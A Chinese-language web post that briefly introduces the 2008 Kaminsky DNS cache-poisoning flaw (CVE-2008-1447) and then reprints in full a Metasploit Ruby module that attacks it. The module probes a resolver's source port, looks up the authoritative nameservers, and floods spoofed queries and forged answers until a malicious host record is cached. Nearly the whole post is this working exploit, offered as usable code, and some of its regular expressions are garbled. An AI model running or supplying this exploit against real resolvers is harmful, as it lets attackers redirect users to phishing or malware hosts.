DNS攻击代码

 著名黑客HD Moore已经率先公布了可用代码.利用这段代码可以对DNS服务器进行投毒,将一条恶意纪录植入目标服务器,该服务器将随机发起域名查询,此时攻击者可以提供伪造的响应,将域名服务器中的纪录指向其特定站点.

这个漏洞攻击可以默默的改变用户的升级服务下载恶意软件,IOActive研究者Dan Kaminsky很早发现漏洞并且无意中这周公布了漏洞使得开发出攻击代码.infoworld.com网站也提醒了这个攻击导致的网络钓鱼欺骗的问题.

 

源代码如下:

1 require 'msf/core'
2 require 'net/dns'
3 require 'scruby'
4 require 'resolv'
5
6 module Msf
7
8 class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary
9
10         include Exploit::Remote::Ip
11
12         def initialize(info = {})
13                 super(update_info(info,
14                         'Name'           => 'DNS BaliWicked Attack',
15                         'Description'    => %q{
16                                 This exploit attacks a fairly ubiquitous flaw in DNS implementations which
17                                 Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
18                                 malicious host entry into the target nameserver by sending random sub-domain
19                                 queries to the target DNS server coupled with spoofed replies to those
20                                 queries from the authoritative nameservers for the domain which contain a
21                                 malicious host entry for the hostname to be poisoned in the authority and
22                                 additional records sections.  Eventually, a guessed ID will match and the
23                                 spoofed packet will get accepted, and due to the additional hostname entry
24                                 being within baliwick constraints of the original request the malicious host
25                                 entry will get cached.
26                         },
27                         'Author'         => [ 'I)ruid', 'hdm' ],
28                         'License'        => MSF_LICENSE,
29                         'Version'        => '$Revision$',
30                         'References'     =>
31                                 [
32                                         [ 'CVE', '2008-1447' ],
33                                         [ 'US-CERT-VU', '8000113' ],
34                                         [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ],
35                                 ],
36                         'Privileged'     => true,
37                         'Targets'        =>
38                                 [
39                                         ["BIND", 
40                                                 {
41                                                         'Arch' => ARCH_X86,
42                                                         'Platform' => 'linux',
43                                                 },
44                                         ],
45                                 ],
46                         'DisclosureDate' => 'Jul 21 2008'
47                         ))
48                        
49                         register_options(
50                                 [
51                                         OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
52                                         OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']),
53                                         OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
54                                         OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
55                                         OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
56                                         OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
57                                 ], self.class)
58                                        
59         end
60        
61         def auxiliary_commands
62                 return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
63         end
64
65         def cmd_check(*args)
66                 targ = args[0] || rhost()
67                 if(not (targ and targ.length > 0))
68                         print_status("usage: check [dns-server]")
69                         return
70                 end
71
72                 print_status("Using the Metasploit service to verify exploitability...")
73                 srv_sock = Rex::Socket.create_udp(
74                         'PeerHost' => targ,
75                         'PeerPort' => 53
76                 )               
77
78                 random = false
79                 ports  = []
80                 lport  = nil
81                
82                 1.upto(5) do |i|
83                
84                         req = Resolv::DNS::Message.new
85                         txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
86                         req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
87                         req.rd = 1
88                        
89                         srv_sock.put(req.encode)
90                         res, addr = srv_sock.recvfrom()
91                        
92
93                         if res and res.length > 0
94                                 res = Resolv::DNS::Message.decode(res)
95                                 res.each_answer do |name, ttl, data|
96                                         if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
97                                                 t_addr, t_port = $1.split(':')
98
99                                                 print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
100                                                 t_port = t_port.to_i
101                                                 if(lport and lport != t_port)
102                                                         random = true
103                                                 end
104                                                 lport  = t_port
105                                                 ports << t_port
106                                         end
107                                 end
108                         end     
109                 end
110                
111                 srv_sock.close
112                
113                 if(ports.length < 5)
114                         print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
115                         return
116                 end
117                
118                 if(random)
119                         print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
120                         print_status("      This server may still be exploitable, but not by this tool.")
121                 else
122                         print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
123                 end
124         end
125                
126         def run
127                 target   = rhost()
128                 source   = Rex::Socket.source_address(target)
129                 sport    = datastore['SRCPORT']
130                 hostname = datastore['HOSTNAME'] + '.'
131                 address  = datastore['NEWADDR']
132                 recons   = datastore['RECONS']
133                 xids     = datastore['XIDS'].to_i
134                 ttl      = datastore['TTL'].to_i
135
136                 domain = hostname.match(/[^/x2e]+/x2e[^/x2e]+/x2e$/)[0]
137
138                 srv_sock = Rex::Socket.create_udp(
139                         'PeerHost' => target,
140                         'PeerPort' => 53
141                 )
142
143                 # Get the source port via the metasploit service if it's not set
144                 if sport.to_i == 0
145                         req = Resolv::DNS::Message.new
146                         txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
147                         req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
148                         req.rd = 1
149                        
150                         srv_sock.put(req.encode)
151                         res, addr = srv_sock.recvfrom()
152                        
153                         if res and res.length > 0
154                                 res = Resolv::DNS::Message.decode(res)
155                                 res.each_answer do |name, ttl, data|
156                                         if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
157                                                 t_addr, t_port = $1.split(':')
158                                                 sport = t_port.to_i
159
160                                                 print_status("Switching to target port #{sport} based on Metasploit service")
161                                                 if target != t_addr
162                                                         print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
163                                                 end
164                                         end
165                                 end
166                         end
167                 end
168
169                 # Verify its not already cached
170                 begin
171                         query = Resolv::DNS::Message.new
172                         query.add_question(hostname, Resolv::DNS::Resource::IN::A)
173                         query.rd = 0
174
175                         begin
176                                 cached = false
177                                 srv_sock.put(query.encode)
178                                 answer, addr = srv_sock.recvfrom()
179
180                                 if answer and answer.length > 0
181                                         answer = Resolv::DNS::Message.decode(answer)
182                                         answer.each_answer do |name, ttl, data|
183                                                 if((name.to_s + ".") == hostname  and data.address.to_s == address)
184                                                         t = Time.now + ttl
185                                                         print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
186                                                         print_status("         Cache entry expires on #{t.to_s}... sleeping.")
187                                                         cached = true
188                                                         sleep ttl
189                                                 end
190                                         end
191                                 end
192                         end until not cached
193                 rescue ::Interrupt
194                         raise $!
195                 rescue ::Exception => e
196                         print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
197                 end
198
199                 res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
200
201                 print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
202
203                 # Look up the nameservers for the domain
204                 print_status "Querying recon nameserver for #{domain}'s nameservers..."
205                 answer0 = res0.send(domain, Net::DNS::NS)
206                 #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
207
208                 barbs = [] # storage for nameservers
209                 answer0.answer.each do |rr0|
210                         print_status " Got an #{rr0.type} record: #{rr0.inspect}"
211                         if rr0.type == 'NS'
212                                 print_status "Querying recon nameserver for address of #{rr0.nsdname}..."
213                                 answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
214                                 #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
215                                 answer1.answer.each do |rr1|
216                                         print_status " Got an #{rr1.type} record: #{rr1.inspect}"
217                                         res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
218                                         print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
219                                         answer2 = res2.send(domain)
220                                         if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
221                                                 nsrec = {:name => rr0.nsdname, :addr => rr1.address}
222                                                 barbs << nsrec
223                                                 print_status "  #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
224                                         end
225                                 end
226                         end     
227                 end
228
229                 if barbs.length == 0
230                         print_status( "No DNS servers found.")
231                         srv_sock.close
232                         disconnect_ip
233                         return
234                 end
235
236                 # Flood the target with queries and spoofed responses, one will eventually hit
237                 queries = 0
238                 responses = 0
239
240                 connect_ip if not ip_sock
241
242                 print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
243
244                 while true
245                         randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
246
247                         # Send spoofed query
248                         req = Resolv::DNS::Message.new
249                         req.id = rand(2**16)
250                         req.add_question(randhost, Resolv::DNS::Resource::IN::A)
251
252                         req.rd = 1
253
254                         buff = (
255                                 Scruby::IP.new(
256                                         #:src   => barbs[0][:addr].to_s,
257                                         :src   => source,
258                                         :dst   => target,
259                                         :proto => 17
260                                 )/Scruby::UDP.new(
261                                         :sport => (rand((2**16)-1024)+1024).to_i,
262                                         :dport => 53
263                                 )/req.encode
264                         ).to_net
265                         ip_sock.sendto(buff, target)
266                         queries += 1
267                        
268                         # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
269                         req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
270                         req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
271                         req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
272                         req.qr = 1
273                         req.ra = 1
274
275                         p = rand(4)+2*10000
276                         p.upto(p+xids-1) do |id|
277                                 req.id = id
278                                 barbs.each do |barb|
279                                         buff = (
280                                                 Scruby::IP.new(
281                                                         #:src   => barbs[i][:addr].to_s,
282                                                         :src   => barb[:addr].to_s,
283                                                         :dst   => target,
284                                                         :proto => 17
285                                                 )/Scruby::UDP.new(
286                                                         :sport => 53,
287                                                         :dport => sport.to_i
288                                                 )/req.encode
289                                         ).to_net
290                                         ip_sock.sendto(buff, target)
291                                         responses += 1
292                                 end
293                         end
294
295                         # status update
296                         if queries % 1000 == 0
297                                 print_status("Sent #{queries} queries and #{responses} spoofed responses...")
298                         end
299
300                         # every so often, check and see if the target is poisoned...
301                         if queries % 250 == 0
302                                 begin
303                                         query = Resolv::DNS::Message.new
304                                         query.add_question(hostname, Resolv::DNS::Resource::IN::A)
305                                         query.rd = 0
306        
307                                         srv_sock.put(query.encode)
308                                         answer, addr = srv_sock.recvfrom()
309
310                                         if answer and answer.length > 0
311                                                 answer = Resolv::DNS::Message.decode(answer)
312                                                 answer.each_answer do |name, ttl, data|
313                                                         if((name.to_s + ".") == hostname and data.address.to_s == address)
314                                                                 print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
315                                                                 disconnect_ip
316                                                                 return
317                                                         end
318                                                 end
319                                         end
320                                 rescue ::Interrupt
321                                         raise $!
322                                 rescue ::Exception => e
323                                         print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
324                                 end
325                         end
326
327                 end
328
329         end
330
331 end
332 end   

你可能感兴趣的:(DNS攻击代码)